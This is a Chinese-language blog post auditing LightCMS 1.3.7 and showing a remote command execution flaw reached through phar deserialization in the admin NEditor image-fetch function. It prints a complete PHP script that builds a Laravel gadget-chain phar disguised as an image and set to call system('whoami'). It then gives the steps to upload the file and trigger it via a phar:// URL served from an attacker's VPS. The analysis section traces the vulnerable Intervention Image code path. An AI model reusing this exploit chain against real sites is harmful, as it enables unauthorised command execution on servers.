[PHP代码审计]LightCMS1.3.7存在命令执行漏洞

Posted 2021-06-27 Y4tacker

文章目录

• 写在前面
• 利用姿势
• 分析

写在前面

之前就想复现来着了，后来给我忘了，今晚补上吧

利用姿势

首先用phpggc生成一个phar，当然嫌弃懒的话可以用这个

<?php

namespace Illuminate\\Broadcasting{
    class PendingBroadcast
    {
        protected $events;
        protected $event;

        public function __construct($events, $event)
        {
            $this->events = $events;
            $this->event = $event;
        }

    }

    class BroadcastEvent
    {
        protected $connection;

        public function __construct($connection)
        {
            $this->connection = $connection;
        }
    }

}

namespace Illuminate\\Bus{
    class Dispatcher{
        protected $queueResolver;

        public function __construct($queueResolver)
        {
            $this->queueResolver = $queueResolver;
        }

    }
}

namespace{
    $command = new Illuminate\\Broadcasting\\BroadcastEvent('whoami');

    $dispater = new Illuminate\\Bus\\Dispatcher("system");

    $PendingBroadcast = new Illuminate\\Broadcasting\\PendingBroadcast($dispater,$command);
    $phar = new Phar('phar.phar');
    $phar -> stopBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
    $phar -> addFromString('test.txt','test');
    $phar -> setMetadata($PendingBroadcast);
    $phar -> stopBuffering();
    rename('phar.phar','phar.jpg');

}

之后上传到你的后台获得相对路径

之后在你的vps中写入

phar://./upload/image/202106/uzOpshR76Znv0gG6mvL9YHBRXPI5EaEDFpwqfgCp.gif

最后请求，成功执行

分析

漏洞点和之前爆出的任意文件读取与RCE那个地方一样，在Http/Controllers/Admin/NEditorController.php下的fetchImageFile函数，因为我传入的不是Webp文件，所以进入Image::make($data);，而这个data变量也就是请求返回的内容

一直跟进到src/Intervention/Image/AbstractDecoder.php下的init方法

public function init($data)
    {
        $this->data = $data;

        switch (true) {

            case $this->isGdResource():
                return $this->initFromGdResource($this->data);

            case $this->isImagick():
                return $this->initFromImagick($this->data);

            case $this->isInterventionImage():
                return $this->initFromInterventionImage($this->data);

            case $this->isSplFileInfo():
                return $this->initFromPath($this->data->getRealPath());

            case $this->isBinary():
                return $this->initFromBinary($this->data);

            case $this->isUrl():
                return $this->initFromUrl($this->data);

            case $this->isStream():
                return $this->initFromStream($this->data);

            case $this->isDataUrl():
                return $this->initFromBinary($this->decodeDataUrl($this->data));

            case $this->isFilePath():
                return $this->initFromPath($this->data);

            // isBase64 has to be after isFilePath to prevent false positives
            case $this->isBase64():
                return $this->initFromBinary(base64_decode($this->data));

            default:
                throw new NotReadableException("Image source not readable");
        }
    }

在isUrl分支

继续跟踪

妥妥的可以触发phar://反序列化